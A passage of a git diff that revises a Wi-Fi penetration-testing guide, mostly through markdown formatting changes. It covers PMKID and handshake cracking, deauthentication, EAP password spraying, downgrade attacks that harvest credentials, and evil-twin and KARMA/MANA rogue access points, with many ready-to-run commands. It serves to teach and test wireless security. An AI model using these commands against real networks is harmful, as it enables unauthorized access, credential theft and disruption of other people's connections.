us: +As explained in the original post, the **PMKID **is derived by using data which is known to us: -```text +``` PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA) ``` -**Since the “PMK Name” string is constant, we know both the BSSID of the AP and the station and the `PMK` is the same one obtained from a full 4-way handshake**, this is all hashcat needs in order to crack the PSK and recover the passphrase! +**Since the “PMK Name” string is constant, we know both the BSSID of the AP and the station and the `PMK` is the same one obtained from a full 4-way handshake**, this is all hashcat needs in order to crack the PSK and recover the passphrase!\ Description obtained from [here](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/). -To **gather** this information and **bruteforce** locally the password you can do: +To **gather **this information and **bruteforce **locally the password you can do: -```text +``` airmon-ng check kill airmon-ng start wlan0 git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install @@ -286,21 +287,21 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1 ./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1 ``` -The **PMKIDs captured** will be shown in the **console** and also **saved** inside _**/tmp/attack.pcap**_ +The **PMKIDs captured **will be shown in the **console **and also **saved **inside_ **/tmp/attack.pcap**_\ Now, convert the capture to **hashcat/john** format and crack it: -```text +``` hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt ``` -Please note the the format of a correct hash contains **4 parts**, like: _4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6e65436f6e6e6563743034383131343838_ -If yours **only** contains **3 parts**, then, it is **invalid** \(the PMKID capture wasn't valid\). +Please note the the format of a correct hash contains **4 parts**, like: _4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6e65436f6e6e6563743034383131343838_\ +__If yours **only **contains **3 parts**, then, it is **invalid **(the PMKID capture wasn't valid). -Note that `hcxdumptool` **also capture handshakes** \(something like this will appear: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**\). You could **transform** the **handshakes** to **hashcat**/**john** format using `cap2hccapx` +Note that `hcxdumptool `**also capture handshakes** (something like this will appear: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). You could **transform **the **handshakes **to **hashcat**/**john **format using `cap2hccapx` -```text +``` tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"] hccap2john pmkid.hccapx > handshake.john @@ -312,14 +313,14 @@ _I have noticed that some handshakes captured with this tool couldn't be cracked ### Handshake capture -One way to attack **WPA/WPA2** networks is to capture a **handshake** and try to **crack** the used password **offline**. To do so you need to find the **BSSID** and **channel** of the **victim** network, and a **client** that is connected to the network. -Once you have that information you have to start **listening** to all the commutation of that **BSSID** in that **channel**, because hopefully the handshake will be send there: +One way to attack **WPA/WPA2** networks is to capture a **handshake **and try to **crack **the used password **offline**. To do so you need to find the **BSSID **and **channel **of the **victim **network, and a **client **that is connected to the network.\ +Once you have that information you have to start **listening **to all the commutation of that **BSSID **in that **channel**, because hopefully the handshake will be send there: ```bash airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap ``` -Now you need to **deauthenticate** the **client** for a few seconds so it will automatically authenticate again to the AP \(please read the part of DoS to find several ways to deauthenticate a client\): +Now you need to **deauthenticate **the **client **for a few seconds so it will automatically authenticate again to the AP (please read the part of DoS to find several ways to deauthenticate a client): ```bash aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work @@ -327,13 +328,13 @@ aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not al _Note that as the client was deauthenticated it could try to connect to a different AP or, in other cases, to a different network._ -Once in the `airodump-ng` appears some handshake information this means that the handshake was captured and you can stop listening: +Once in the` airodump-ng` appears some handshake information this means that the handshake was captured and you can stop listening: -![](../../../.gitbook/assets/image%20%28172%29%20%281%29.png) +![](<../../../.gitbook/assets/image (172) (1) (1).png>) -Once the handshake is captured you can **crack** it with `aircrack-ng`: +Once the handshake is captured you can **crack **it with `aircrack-ng`: -```text +``` aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap ``` @@ -353,7 +354,7 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the #### [cowpatty](https://github.com/roobixx/cowpatty) -```text +``` cowpatty -r psk-01.cap -s "ESSID" -f - ``` @@ -366,47 +367,47 @@ apt-get install pyrit #Not working for newer versions of kali pyrit -r psk-01.cap analyze ``` -## **WPA Enterprise \(MGT\)** +## **WPA Enterprise (MGT)** -**It** is important to talk about the **different authentication methods** that could be used by an enterprise Wifi. For this kind of Wifis you will probably find in `airodump-ng` something like this: +**It** is important to talk about the **different authentication methods** that could be used by an enterprise Wifi. For this kind of Wifis you will probably find in` airodump-ng `something like this: -```text +``` 6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi ``` -**EAP** \(Extensible Authentication Protocol\) the **skull** of the **authentication communication**, on **top** of this, an **authentication algorithm** is used by the server to authenticate the **client** \(**supplicant**\) and in same cases by the client to authenticate the server. +**EAP **(Extensible Authentication Protocol) the **skull **of the **authentication communication**, on **top **of this, an **authentication algorithm **is used by the server to authenticate the **client **(**supplicant**) and in same cases by the client to authenticate the server.\ Main authentication algorithms used in this case: -* **EAP-GTC:** Is an EAP method to support the use of hardware tokens and one-time passwords with EAP-PEAP. Its implementation is similar to MSCHAPv2, but does not use a peer challenge. Instead, passwords are sent to the access point in **plaintext** \(very interesting for downgrade attacks\). -* **EAP-MD-5 \(Message Digest\)**: The client send the MD5 hash of the password. **Not recommended**: Vulnrable to dictionary attacks, no server authentication and no way to generate per session wired equivalent privacy \(WEP\) keys. -* **EAP-TLS \(Transport Layer Security\)**: It relies on **client-side and server-side certificates** to perform authentication and can be used to dynamically generate user-based and session-based WEP keys to secure subsequent communications. -* **EAP-TTLS \(Tunneled Transport Layer Security\)**: **Mutual authentication** of the client and network through an encrypted channel \(or tunnel\), as well as a means to derive dynamic, per-user, per-session WEP keys. Unlike EAP-TLS, **EAP-TTLS requires only server-side certificates \(client will use credentials\)**. -* **PEAP \(Protected Extensible Authentication Protocol\)**: PEAP is like the **EAP** protocol but creating a **TLS tunnel** to protect the communication. Then, weak authentication protocols can by used on top of EAP as they will be protected by the tunnel. - * **PEAP-MSCHAPv2**: This is also known as just **PEAP** because it is widely adopted. This is just the vulnerable challenge/response called MSCHAPv2 on to of PEAP \(it is protected by the TLS tunnel\). +* **EAP-GTC:** Is an EAP method to support the use of hardware tokens and one-time passwords with EAP-PEAP. Its implementation is similar to MSCHAPv2, but does not use a peer challenge. Instead, passwords are sent to the access point in **plaintext** (very interesting for downgrade attacks). +* **EAP-MD-5 (Message Digest)**: The client send the MD5 hash of the password. **Not recommended**: Vulnrable to dictionary attacks, no server authentication and no way to generate per session wired equivalent privacy (WEP) keys. +* **EAP-TLS (Transport Layer Security)**: It relies on** client-side and server-side certificates** to perform authentication and can be used to dynamically generate user-based and session-based WEP keys to secure subsequent communications. +* **EAP-TTLS (Tunneled Transport Layer Security)**: **Mutual authentication** of the client and network through an encrypted channel (or tunnel), as well as a means to derive dynamic, per-user, per-session WEP keys. Unlike EAP-TLS, **EAP-TTLS requires only server-side certificates (client will use credentials)**. +* **PEAP (Protected Extensible Authentication Protocol)**: PEAP is like the **EAP **protocol but creating a **TLS tunnel** to protect the communication. Then, weak authentication protocols can by used on top of EAP as they will be protected by the tunnel. + * **PEAP-MSCHAPv2**: This is also known as just **PEAP **because it is widely adopted. This is just the vulnerable challenge/response called MSCHAPv2 on to of PEAP (it is protected by the TLS tunnel). * **PEAP-EAP-TLS or just PEAP-TLS**: Is very similar to **EAP-TLS** but a TLS tunnel is created before the certificates are exchanged. You can find more information about these authentication methods [here ](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol)and [here](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html). ### Username Capture -Reading [https://tools.ietf.org/html/rfc3748\#page-27](https://tools.ietf.org/html/rfc3748#page-27) it looks like if you are using **EAP** the **"Identity"** **messages** must be **supported**, and the **username** is going to be sent in **clear** in the **"Response Identity"** messages. +Reading [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) it looks like if you are using **EAP **the **"Identity"** **messages **must be **supported**, and the **username **is going to be sent in **clear **in the **"Response Identity"** messages. -Even using one of the most secure of authentication methods: **PEAP-EAP-TLS**, it is possible to **capture the username sent in the EAP protocol**. To do so, **capture a authentication communication** \(start `airodump-ng` inside a channel and `wireshark` in the same interface\) and filter the packets by`eapol`. -Inside the "**Response, Identity**" packet, the **username** of the client will appear. +Even using one of the most secure of authentication methods: **PEAP-EAP-TLS**, it is possible to** capture the username sent in the EAP protocol**. To do so, **capture a authentication communication** (start `airodump-ng` inside a channel and `wireshark `in the same interface) and filter the packets by`eapol`.\ +Inside the "**Response, Identity**" packet, the **username **of the client will appear. -![](../../../.gitbook/assets/image%20%28120%29.png) +![](<../../../.gitbook/assets/image (150).png>) ### Anonymous Identities -\(Info taken from [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)\) +(Info taken from [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)) -Both **EAP-PEAP and EAP-TTLS support identity hiding**. In a WiFi environment, the access point \(AP\) typically generates an EAP-Identity request as part of the association process. To preserve anonymity, the EAP client on the user’s system may respond with only enough information to allow the first hop RADIUS server to process the request, as shown in the following examples. +Both** EAP-PEAP and EAP-TTLS support identity hiding**. In a WiFi environment, the access point (AP) typically generates an EAP-Identity request as part of the association process. To preserve anonymity, the EAP client on the user’s system may respond with only enough information to allow the first hop RADIUS server to process the request, as shown in the following examples. * _**EAP-Identity = anonymous**_ -> In this example, all users will share the pseudo-user-name “anonymous”. The first hop RADIUS server is an EAP-PEAP or EAP-TTLS server which drives the server end of the PEAP or TTLS protocol. The inner \(protected\) authentication type will then be either handled locally or proxied to a remote \(home\) RADIUS server. +> In this example, all users will share the pseudo-user-name “anonymous”. The first hop RADIUS server is an EAP-PEAP or EAP-TTLS server which drives the server end of the PEAP or TTLS protocol. The inner (protected) authentication type will then be either handled locally or proxied to a remote (home) RADIUS server. -* _**EAP-Identity = anonymous@realm\_x**_ +* _**EAP-Identity = anonymous@realm_x**_ > In this example, users belonging to different realms hide their own identity but indicate which realm they belong to so that the first hop RADIUS server may proxy the EAP-PEAP or EAP-TTLS requests to RADIUS servers in their home realms which will act as the PEAP or TTLS server. The first hop server acts purely as a RADIUS relay node. > @@ -416,19 +417,19 @@ In EAP-PEAP, once the PEAP server and the PEAP client establish the TLS tunnel, EAP-TTLS works slightly differently. With EAP-TTLS, the client typically authenticates via PAP or CHAP protected by the TLS tunnel. In this case, the client will include a User-Name attribute and either a Password or CHAP-Password attribute in the first TLS message sent after the tunnel is established. -With either protocol, the PEAP/TTLS server learns the user’s true identity once the TLS tunnel has been established. The true identity may be either in the form _**user@realm**_ or simply _**user**_. If the PEAP/TTLS server is also authenticating the _**user**_, it now knows the user’s identity and proceeds with the authentication method being protected by the TLS tunnel. Alternatively, the PEAP/TTLS server may forward a new RADIUS request to the user’s home RADIUS server. This new RADIUS request has the PEAP or TTLS protocol stripped out. If the protected authentication method is EAP, the inner EAP messages are transmitted to the home RADIUS server without the EAP-PEAP or EAP-TTLS wrapper. The User-Name attribute of the outgoing RADIUS message contains the user’s true identity – not the anonymous identity from the User-Name attribute of the incoming RADIUS request. If the protected authentication method is PAP or CHAP \(supported only by TTLS\), the User-Name and other authentication attributes recovered from the TLS payload are placed in the outgoing RADIUS message in place of the anonymous User-Name and TTLS EAP-Message attributes included in the incoming RADIUS request. +With either protocol, the PEAP/TTLS server learns the user’s true identity once the TLS tunnel has been established. The true identity may be either in the form _**user@realm**_ or simply _**user**_. If the PEAP/TTLS server is also authenticating the _**user**_, it now knows the user’s identity and proceeds with the authentication method being protected by the TLS tunnel. Alternatively, the PEAP/TTLS server may forward a new RADIUS request to the user’s home RADIUS server. This new RADIUS request has the PEAP or TTLS protocol stripped out. If the protected authentication method is EAP, the inner EAP messages are transmitted to the home RADIUS server without the EAP-PEAP or EAP-TTLS wrapper. The User-Name attribute of the outgoing RADIUS message contains the user’s true identity – not the anonymous identity from the User-Name attribute of the incoming RADIUS request. If the protected authentication method is PAP or CHAP (supported only by TTLS), the User-Name and other authentication attributes recovered from the TLS payload are placed in the outgoing RADIUS message in place of the anonymous User-Name and TTLS EAP-Message attributes included in the incoming RADIUS request. -### EAP-Bruteforce \(password spray\) +### EAP-Bruteforce (password spray) -If the client is expected to use a **username and password** \(notice that **EAP-TLS won't be valid** in this case\), then you could try to get a **list** a **usernames** \(see next part\) and **passwords** and try to **bruteforce** the access using [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.** +If the client is expected to use a** username and password** (notice that** EAP-TLS won't be valid** in this case), then you could try to get a **list **a **usernames **(see next part) and **passwords **and try to **bruteforce **the access using [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.** -```text +``` ./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt ``` You could also do this attack using `eaphammer`: -```text +``` ./eaphammer --eap-spray \ --interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \ --essid example-wifi \ @@ -440,15 +441,15 @@ You could also do this attack using `eaphammer`: ### Network Selection and Roaming -Although the 802.11 protocol has very specific rules that dictate how a station can join an ESS, it does not specify how the station should select an ESS to connect to. Additionally, the protocol allows stations to roam freely between access points that share the same ESSID \(because you wouldn’t want to lose WiFi connectivity when walking from one end of a building to another, etc\). However, the 802.11 protocol does not specify how these access points should be selected. Furthermore, even though stations must be authenticated to the ESS in order to associate with an access point, the 802.11 protocol does not require the access point be authenticated to the station. +Although the 802.11 protocol has very specific rules that dictate how a station can join an ESS, it does not specify how the station should select an ESS to connect to. Additionally, the protocol allows stations to roam freely between access points that share the same ESSID (because you wouldn’t want to lose WiFi connectivity when walking from one end of a building to another, etc). However, the 802.11 protocol does not specify how these access points should be selected. Furthermore, even though stations must be authenticated to the ESS in order to associate with an access point, the 802.11 protocol does not require the access point be authenticated to the station. -### Preferred Network Lists \(PNLs\) +### Preferred Network Lists (PNLs) -Each time a station connects to a wireless network, the network’s ESSID is stored in the station’s Preferred Network List \(PNL\). The PNL is an ordered list of every network that the station has connected to in the past, and each entry in the PNL contains the network’s ESSID and any network-specific configuration information needed to establish a connection. +Each time a station connects to a wireless network, the network’s ESSID is stored in the station’s Preferred Network List (PNL). The PNL is an ordered list of every network that the station has connected to in the past, and each entry in the PNL contains the network’s ESSID and any network-specific configuration information needed to establish a connection. ### Passive Scanning -In infrastructure networks, access points periodically transmit beacon frames to advertise their presence and capabilities to nearby stations. Beacons are broadcast frames, which means they are intended to be received by all nearby stations in range. Beacons include information about the AP’s supported rates, encryption capabilities, additional information, and most importantly, beacon frames contain the AP’s ESSID \(as long as ESSID broadcasting is not disabled\). +In infrastructure networks, access points periodically transmit beacon frames to advertise their presence and capabilities to nearby stations. Beacons are broadcast frames, which means they are intended to be received by all nearby stations in range. Beacons include information about the AP’s supported rates, encryption capabilities, additional information, and most importantly, beacon frames contain the AP’s ESSID (as long as ESSID broadcasting is not disabled). During passive scanning, the client device listens for beacon frames from nearby access points. If the client device receives a beacon frame whose ESSID field matches an ESSID from the client’s PNL, the client will automatically connect to the access point that sent the beacon frame. Then, suppose we want to target a wireless device that is not currently connected to any wireless. If we know at least one entry in that client’s PNL, we can force the client to connect to us simply by creating our own access point with that entry’s ESSID. @@ -460,7 +461,7 @@ Clients that use directed probing will send out probe requests for each network ## Simple AP with redirection to Internet -Before explaining how to perform more complex attacks it's going to be explained **how** to just **create** an **AP** and **redirect** it's **traffic** to an interface connected **to** the **Internet**. +Before explaining how to perform more complex attacks it's going to be explained **how **to just **create **an **AP **and **redirect **it's **traffic **to an interface connected **to **the **Internet**. Using `ifconfig -a` check that the wlan interface to create the AP and the interface connected to the Internet are present. @@ -472,7 +473,7 @@ apt-get install dnsmasq #Manages DHCP and DNS create a config file _/etc/dnsmasq.conf_ as follows: -```text +``` interface=wlan0 dhcp-authoritative dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h @@ -484,28 +485,28 @@ log-dhcp listen-address=127.0.0.1 ``` -Then **set IPs** and **routes**: +Then **set IPs **and **routes**: -```text +``` ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0 route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1 ``` -And then **start** dnsmasq: +And then **start **dnsmasq: -```text +``` dnsmasq -C dnsmasq.conf -d ``` ### hostapd -```text +``` apt-get install hostapd ``` Create a config file _hostapd.conf:_ -```text +``` interface=wlan0 driver=nl80211 ssid=MITIWIFI @@ -523,9 +524,9 @@ ieee80211n=1 wme_enabled=1 ``` -**Stop annoying processes** , set **monitor mode**, and **start hostapd**: +**Stop annoying processes **, set **monitor mode**, and **start hostapd**: -```text +``` airmon-ng check kill iwconfig wlan0 mode monitor ifconfig wlan0 up @@ -534,7 +535,7 @@ hostapd ./hostapd.conf ### Forwarding and Redirection -```text +``` iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE iptables --append FORWARD --in-interface wlan0 -j ACCEPT echo 1 > /proc/sys/net/ipv4/ip_forward @@ -542,37 +543,37 @@ echo 1 > /proc/sys/net/ipv4/ip_forward ## Evil Twin -An evil twin attack is a type Wi-Fi attack that works by taking advantage of the fact that most computers and phones will only see the "name" or ESSID of a wireless network \(as the base station is not required to authenticate against the client\). This actually makes it very hard to distinguish between networks with the same name and same kind of encryption. In fact, many networks will have several network-extending access points all using the same name to expand access without confusing users. +An evil twin attack is a type Wi-Fi attack that works by taking advantage of the fact that most computers and phones will only see the "name" or ESSID of a wireless network (as the base station is not required to authenticate against the client). This actually makes it very hard to distinguish between networks with the same name and same kind of encryption. In fact, many networks will have several network-extending access points all using the same name to expand access without confusing users. -Due how the implementation of clients work \(remember that the 802.11 protocol allows stations to roam freely between access points within the same ESS\), it is possible to make a device to change the base station it is connected to. It is possible to do that offering a better signal \(which is not always possible\) or by blocking the access to the original base station \(deauthentication packets, jamming, or some other form of DoS attack\). +Due how the implementation of clients work (remember that the 802.11 protocol allows stations to roam freely between access points within the same ESS), it is possible to make a device to change the base station it is connected to. It is possible to do that offering a better signal (which is not always possible) or by blocking the access to the original base station (deauthentication packets, jamming, or some other form of DoS attack). -Notice also that real-world wireless deployments usually have more than a single access point, and these access points are often more powerful and have better line-of-site range due to their placement towards the ceiling. Deauthenticating a single access point usually results in the target roaming towards another valid access point rather than your rogue AP, unless all nearby access points are deauthenticated \(loud\) or you are very careful with the placement of the rogue AP \(difficult\). +Notice also that real-world wireless deployments usually have more than a single access point, and these access points are often more powerful and have better line-of-site range due to their placement towards the ceiling. Deauthenticating a single access point usually results in the target roaming towards another valid access point rather than your rogue AP, unless all nearby access points are deauthenticated (loud) or you are very careful with the placement of the rogue AP (difficult). -You can create a very basic Open Evil Twin \(no capabilities to route traffic to Internet\) doing: +You can create a very basic Open Evil Twin (no capabilities to route traffic to Internet) doing: ```bash airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon ``` -You could also create an Evil Twin using **eaphammer** \(notice that to create evil twins with eaphammer the interface **should NOT be** in **monitor** mode\): +You could also create an Evil Twin using **eaphammer **(notice that to create evil twins with eaphammer the interface **should NOT be** in **monitor **mode): -```text +``` ./eaphammer -i wlan0 --essid exampleCorp --captive-portal ``` Or using Airgeddon: `Options: 5,6,7,8,9 (inside Evil Twin attack menu).` -![](../../../.gitbook/assets/image%20%2828%29.png) +![](<../../../.gitbook/assets/image (148).png>) -Please, notice that by default if an ESSID in the PNL is saved as WPA protected, the device won't connect automatically to an Open evil Twin. You can try to DoS the real AP and hope that the user will connect manually to your Open evil twin, or you could DoS the real AP an use a WPA Evil Twin to capture the handshake \(using this method you won't be able to let the victim connect to you as you don't know the PSK, but you can capture the handshake and try to crack it\). +Please, notice that by default if an ESSID in the PNL is saved as WPA protected, the device won't connect automatically to an Open evil Twin. You can try to DoS the real AP and hope that the user will connect manually to your Open evil twin, or you could DoS the real AP an use a WPA Evil Twin to capture the handshake (using this method you won't be able to let the victim connect to you as you don't know the PSK, but you can capture the handshake and try to crack it). _Some OS and AV will warn the user that connect to an Open network is dangerous..._ ### WPA/WPA2 Evil Twin -You can create an **Evil Twin using WPA/2** and if the devices have configured to connect to that SSID with WPA/2, they are going to try to connect. Anyway, **to complete the 4-way-handshake** you also need to **know** the **password** that the client is going to use. If you **don't know** it, the **connection won't be completed**. +You can create an **Evil Twin using WPA/2** and if the devices have configured to connect to that SSID with WPA/2, they are going to try to connect. Anyway, **to complete the 4-way-handshake** you also need to **know **the **password **that the client is going to use. If you **don't know** it, the **connection won't be completed**. -```text +``` ./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword" ``` @@ -582,16 +583,16 @@ To understand this attacks I would recommend to read before the brief [WPA Enter #### Using hostapd-wpe -`hostapd-wpe` needs a **configuration** file to work. To **automate** the generation if these configurations you could use [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd_launchpad) \(download the python file inside _/etc/hostapd-wpe/_\) +`hostapd-wpe` needs a **configuration **file to work. To **automate** the generation if these configurations you could use [https://github.com/WJDigby/apd_launchpad](https://github.com/WJDigby/apd_launchpad) (download the python file inside _/etc/hostapd-wpe/_) -```text +``` ./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com hostapd-wpe ./victim/victim.conf -s ``` In the configuration file you can select a lot of different things like ssid, channel, user files, cret/key, dh parameters, wpa version and auth... -[**Using hostapd-wpe with EAP-TLS to allow any certificate to login.**](evil-twin-eap-tls.md)\*\*\*\* +[**Using hostapd-wpe with EAP-TLS to allow any certificate to login.**](evil-twin-eap-tls.md)**** #### Using EAPHammer @@ -603,59 +604,59 @@ In the configuration file you can select a lot of different things like ssid, ch ./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds ``` -By default, EAPHammer purposes this authentication methods \(notice GTC as the first one to try to obtain plaintext passwords and then the use of more robust auth methods\): +By default, EAPHammer purposes this authentication methods (notice GTC as the first one to try to obtain plaintext passwords and then the use of more robust auth methods): -```text +``` GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5 ``` This is the default methodology to avoid long connection times. However, you can also specify to server the authentication methods from weakest to strongest: -```text +``` --negotiate weakest ``` Or you could also use: -* `--negotiate gtc-downgrade` to use highly efficient GTC downgrade implementation \(plaintext passwords\) -* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` to specify manually the methods offered \(offering the same auth methods in the same order as the organisation the attack will be much more difficult to detect\). +* `--negotiate gtc-downgrade` to use highly efficient GTC downgrade implementation (plaintext passwords) +* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` to specify manually the methods offered (offering the same auth methods in the same order as the organisation the attack will be much more difficult to detect). * [Find more info in the wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) #### Using Airgeddon -`Airgeddon` can use previously generated certificated to offer EAP authentication to WPA/WPA2-Enterprise networks. The fake network will downgrade the connection protocol to EAP-MD5 so it will be able to **capture the user and the MD5 of the password**. Later, the attacker can try to crack the password. -`Airggedon` offers you the possibility of a **continuous Evil Twin attack \(noisy\)** or **only create the Evil Attack until someone connects \(smooth\).** +`Airgeddon `can use previously generated certificated to offer EAP authentication to WPA/WPA2-Enterprise networks. The fake network will downgrade the connection protocol to EAP-MD5 so it will be able to **capture the user and the MD5 of the password**. Later, the attacker can try to crack the password.\ +`Airggedon `offers you the possibility of a **continuous Evil Twin attack (noisy)** or** only create the Evil Attack until someone connects (smooth).** -![](../../../.gitbook/assets/image%20%28189%29.png) +![](<../../../.gitbook/assets/image (129).png>) ### Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks _This method was tested in an PEAP connection but as I'm decrypting an arbitrary TLS tunnel this should also works with EAP-TTLS_ -Inside the **configuration** of _hostapd-wpe_ **comment** the line that contains _**dh\_file**_ \(from `dh_file=/etc/hostapd-wpe/certs/dh` to `#dh_file=/etc/hostapd-wpe/certs/dh`\) -This will make `hostapd-wpe` to **exchange keys using RSA** instead of DH, so you will be able to **decrypt** the traffic later **knowing the servers private key**. +Inside the **configuration **of _hostapd-wpe_ **comment **the line that contains _**dh_file **_(from `dh_file=/etc/hostapd-wpe/certs/dh` to `#dh_file=/etc/hostapd-wpe/certs/dh`)\ +This will make `hostapd-wpe` to **exchange keys using RSA** instead of DH, so you will be able to **decrypt **the traffic later** knowing the servers private key**. -Now start the **Evil Twin** using **`hostapd-wpe`** with that modified configuration as usual. Also, start **`wireshark`** in the **interface** which is performing the Evil Twin attack. +Now start the **Evil Twin** using **`hostapd-wpe`** with that modified configuration as usual. Also, start **`wireshark `**in the **interface **which is performing the Evil Twin attack. -Now or later \(when you have already captured some authentication intents\) you can add the private RSA key to wireshark in: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` +Now or later (when you have already captured some authentication intents) you can add the private RSA key to wireshark in: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` -Add a new entry and fill the form with this values: **IP address = any** -- **Port = 0** -- **Protocol = data** -- **Key File** \(**select your key file**, to avoid problems select a key file **without being password protected**\). +Add a new entry and fill the form with this values:** IP address = any** -- **Port = 0** --** Protocol = data **-- **Key File **(**select your key file**, to avoid problems select a key file **without being password protected**). -![](../../../.gitbook/assets/image.png) +![](<../../../.gitbook/assets/image (151).png>) And look at the new **"Decrypted TLS" tab**: -![](../../../.gitbook/assets/image%20%28306%29.png) +![](<../../../.gitbook/assets/image (152).png>) ## KARMA, MANA, Loud MANA and Known beacons attack ### ESSID and MAC black/whitelists -The following table lists the different type of MFACLs \(Management Frame Access Control Lists\) available, as well their effects when used: +The following table lists the different type of MFACLs (Management Frame Access Control Lists) available, as well their effects when used: -![](../../../.gitbook/assets/image%20%28135%29.png) +![](<../../../.gitbook/assets/image (149).png>) -```text +``` # example EAPHammer MFACL file, wildcards can be used 78:f0:97:fc:b5:36 9a:35:e1:01:4f:cf @@ -666,7 +667,7 @@ ce:52:b8:*:*:* [--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting] ``` -```text +``` # example ESSID-based MFACL file apples oranges @@ -683,13 +684,13 @@ Karma attacks are a second form of rogue access point attack that exploits the n ### MANA -According to Ian de Villiers and Dominic White, modern stations are designed to protect themselves against karma attacks by ignoring directed probe responses from access points that have not already responded to at least one broadcast probe request. This led to a significant drop in the number of stations that were vulnerable to karma attacks until 2015, when White and de Villiers developed a means of circumventing such protections. In White’s and de Villiers’ improved karma attack \(MANA attack\), directed probe responses are used to reconstruct the PNLs of nearby stations. When a broadcast probe request is received from a station, the attacker’s access point responds with an arbitrary SSID from the station’s PNL already being saw in a direct probe from that device. +According to Ian de Villiers and Dominic White, modern stations are designed to protect themselves against karma attacks by ignoring directed probe responses from access points that have not already responded to at least one broadcast probe request. This led to a significant drop in the number of stations that were vulnerable to karma attacks until 2015, when White and de Villiers developed a means of circumventing such protections. In White’s and de Villiers’ improved karma attack (MANA attack), directed probe responses are used to reconstruct the PNLs of nearby stations. When a broadcast probe request is received from a station, the attacker’s access point responds with an arbitrary SSID from the station’s PNL already being saw in a direct probe from that device. -In resume, the MANA algorithm works like this: each time the access point receives a probe request, it first determines whether it’s a broadcast or directed probe. If it’s directed probe, the sender’s MAC address is added to the hash table \(if it’s not there already\) and the ESSID is added to that device’s PNL. The AP then responds with a directed probe response. If it’s a broadcast probe, the access point responds with probe responses for each of the networks in that device’s PNL. +In resume, the MANA algorithm works like this: each time the access point receives a probe request, it first determines whether it’s a broadcast or directed probe. If it’s directed probe, the sender’s MAC address is added to the hash table (if it’s not there already) and the ESSID is added to that device’s PNL. The AP then responds with a directed probe response. If it’s a broadcast probe, the access point responds with probe responses for each of the networks in that device’s PNL. MANA attack using eaphammer: -```text +``` ./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds] ``` @@ -701,17 +702,17 @@ A possibility is what is called Loud MANA attack. This attack relies on the idea In resume, Loud MANA attack instead of responding to probe requests with each ESSID in a particular device’s PNL, the rogue AP sends probe responses for every ESSID in every PNL across all devices that it has seen before. Relating this to set theory, we can say that the AP sends probe responses for each ESSID in the union of all PNLs of nearby devices. -```text +``` ./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds] ``` ### Known Beacon attack -There are still cases in which Loud MANA attack won’t succeed. -The Known Beacon attack is a way to "Brute-Force" ESSIDs to try to get the victim connect to the attacker. The attacker creates an AP that response to any ESSID and run some code sending beacons faking ESSIDs of each name inside a wordlist. Hopefully the victim will contains some of theses ESSID names inside its PNL and will try to connect to the fake AP. -Eaphammer implemented this attack as a MANA attack where all the ESSIDs inside a list are charged \(you could also combine this with `--loud` to create a Loud MANA + Known beacons attack\): +There are still cases in which Loud MANA attack won’t succeed.\ +The Known Beacon attack is a way to "Brute-Force" ESSIDs to try to get the victim connect to the attacker. The attacker creates an AP that response to any ESSID and run some code sending 